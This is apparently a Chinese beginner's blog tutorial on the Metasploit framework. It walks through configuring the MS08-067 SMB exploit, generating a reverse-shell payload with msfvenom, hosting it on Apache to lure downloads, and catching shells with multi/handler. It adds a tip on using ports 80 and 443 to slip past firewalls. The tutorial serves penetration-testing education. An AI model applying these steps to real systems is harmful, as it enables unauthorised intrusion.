metasloipt是渗透界的标准工具,它自2003年问世一直受到安全界专业人士的狂热追捧。Metasploit框架具有模块化和灵活构架的双重优点,这种设计有利于人们在发现漏洞过后立即着手exploit的开发而且简单易用,它收录的都是业内资深人士仔细审查过的exploit代码,可靠性较好
启动Metasploit
在启动Metasploit之前先要启动Postgresql数据库,这个数据库用于记录Metasploit的数据
启动命令:service postgresql start
然后就可以启动Metasploit了
启动命令:msfconsole,启动成功后界面如下↓
内置搜索命令
在Metasploit框架中收录了许多漏洞,哪些漏洞在哪个平台使用以及漏洞会引发的后果都一一记录在Metasploit中,我们就拿著名的MS08-067来作为例子
搜索漏洞
启动命令:msf5 > search ms08-067
搜索结果包含相应模块的名称和介绍,这个模块的文件位置是exploit/windows/smb/ms08_067_netapi ,在确定了测试模块后,使用"info <模块名称>"命令进行验证
1️⃣记录的是确切名称
2️⃣模块路径
3️⃣平台信息:这个模块只适用于Windows
4️⃣权限信息:是否需要事先以目标主机的管理员权限运行exploit。其授权许可证(License)都是Metasploit Framework License (BSD)。Metasploit的许可证协议就是(BSD)开源协议的三个商业化限定条件
5️⃣评级信息:代表该exploit(漏洞)对目标主机的影响程度。Metasploit把各个exploit评定为manual(需调试)到excellent(优异)
6️⃣系统适用性信息:代表exploit适用于测试哪些操作系统,我这里有72种,就拿第1、2种来说代表着这个exploit适用于Windows 2000 普通版和Windows XP SP0/SP1 普通版
⑦基本选项:调用模块时必须设置的选项。比如说RHOSTS,它向Metasploit传递目标主机的IP地址
8️⃣有效荷载:用于帮助Metasploit选取有效荷载。有效荷载能够使那些被渗透的主机运行攻击人员指令的命令
9️⃣模块介绍:介绍相应漏洞的详细信息
⑩:参考文献。在不能确定使用哪个Metasploit模块的时候,可以参考相关漏洞的信息页面
除了使用Metasploit内置的搜索命令外我们还可以使用在线的模块数据库(Vulnerability & Exploit Database)
选定了合适的模块后,首先指定Metasploit的攻击模块:use <模块的文件位置>
设置模块选项
选定了具体模块后,还要对Metasploit进行进一步的设置。可使用show options命令查看既定模块的配置参数
1️⃣RHOSTS:用于设定exploit的目标主机,它的作用是告诉我们Metasploit攻击哪台主机
设置命令:set RHOSTS <目标主机IP地址>。运行此命令过后,最好使用show options命令检查一下RHOSTS的值
2️⃣RPORT:用于设定攻击对象的具体端口。这里我们沿用RPORT的默认值,因为我们即将利用的是Windows SMB服务,而SMB服务使用的端口应该就是默认的445端口
3️⃣SMBPIPE:SMB命名管道。是一种在网络上实现进程间通信的跨主机通信机制。我们仍然使用默认值
4️⃣Exploit Target:用于设定目标主机的操作系统以及操作系统具体版本号
通过命令:show targets进行查询
这么多选项,想要一次性选中也不是那么容易的事,所以我们还是沿用此项中的默认选项 Automatic Targeting(自动识别)。当然如果知道了目标系统也是可以设置的
设置目标系统命令:set target <目标编号(也就是前面的1、2、3、4、5了)>
设置有效荷载
就像前面说的,有效荷载能够使那些被渗透的主机运行攻击人员指令的命令,那么我们来看一下具体有哪些功能
本来可以使用Metasploit框架通用的有效荷载,但如此一来不一定会成功(这里虽然会成功,o(︶︿︶)o ),所以这里设置一下具体荷载
设置有效荷载语法: set payload 荷载名称
输入run或者exploit来运行
出了一点小问题,LHOST(监听端口)没有设置,一般这里我都不会设置,但是既然提示到了,我还是设置一下吧。LHOST +宿主机IP 就ok了
再次攻击
攻击成功,来看看靶机
认识Shell
长话短说,所有的Shell可分为两大类-----绑定型Shell和反射性Shell
绑定性Shell:就是令计算机启动命令行接口的后台程序,并且在本地监听网络端口的Shell。攻击角色的主机连接到目标主机的监听端口发送遥控命令,但是如果目标网络部署了防火墙,那么绑定性Shell的效果也会大打折扣。在规则完备的情况下,防火墙系统不仅能屏蔽默认的4444端口,也能够屏蔽其他的随机号码的端口
反射型Shell:此Shell会主动发起连接,自主的链入攻击主机,在使用此Shell时,首先要在攻击主机上打开一个网络端口以应答目标主机发起的回话连接,在穿透防火墙方面,反射型Shell的成功率比绑定性Shell高
⭐:当然现在的防火墙都能限制出站连接了,不过可以把攻击主机的应答端口设置为80或443,访问外网主机的80和443端口的网络会话(http / https),都会被防火墙视为浏览页面的网络通信,我想不太可能会有公司会禁止所有人打开网页吧!
Msfvenom
Metasploit在2011年推出了Msfvenom,Msfvenom整合了Msfpayload和Msfencode的所有功能(想要了解这两个模块的功能就百度一下,这里不再演示),msfvenom -h就可以查看它的帮助信息
翻译一下,使用更方便↓
使用msfvenom -l payloads查看所有荷载信息
生成指定的有效荷载文件。基本语法:msfvenom -p <荷载名称> LHOST=<主机IP> -f <文件格式> -o <指定文件夹>
来看看到底生成了没有
Msfvenom支持的文件格式:
部署可执行文件
不少人通常会把渗透用的有效荷载文件上传到服务器,诱使他人下载
开启apache的web服务:/etc/init.d/apache2 start
查看是否开启成功
将刚才生成的有效荷载文件复制到/var/www/html文件目录下(apache2.4以上必须要放在这个文件夹下面,否则会报404错误),当靶机登录到服务器时,文件就会自动下载(反射型Shell)
使用multi/handler模块
打开msfconsole,使用multi/handler模块。这个模块用于设置独立的连接受理程序。刚才使用msfvenom创建了一个反射型的有效荷载程序,因此在multi/handler模块中应当设置与此程序一样的荷载
通过show options命令来查看此模块需要设置哪些选项
EXIFUNC沿用默认选项,LHOSTS设置为kali主机IP,LPORT需要跟msfvenom创建有效荷载程序时一致,一切设置完毕后就可以运行了
当目标机器运行下载的荷载程序后,我们在msfconsole主机上会看到他受理的方向连接
使用辅助模块
不能直接应用于漏洞利用方面的模块都被归档与辅助模块(Auxiliary),比如说总所周知的漏洞扫描器、模糊测试工具、拒绝服务攻击(Dos)攻击模块都被划分到这个类别之下。
以前面提到的exploit/windows/smb/ms08_067_netapi 为列,这个模块有一个选项是SMBPIPE 这个模块专门用于枚举SMB服务的命名管道,其默认值为BROWSER,使用这个模块在msf5中输入 use scanner/smb/pipe_auditor
使用show options查看需要设置的选项
RHOST设置目标主机IP,SMBdomain、SMBPass、SMBUser都沿用默认值,THREADS:扫描N台主机其值就设置为N
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
一切设置完毕运行
PS:这篇文章主要让大家初步认识Metasploit框架的几个模块,后续笔者会就此框架陆续做一些实战实验,文章不足之处望诸君指正!!!!!!!!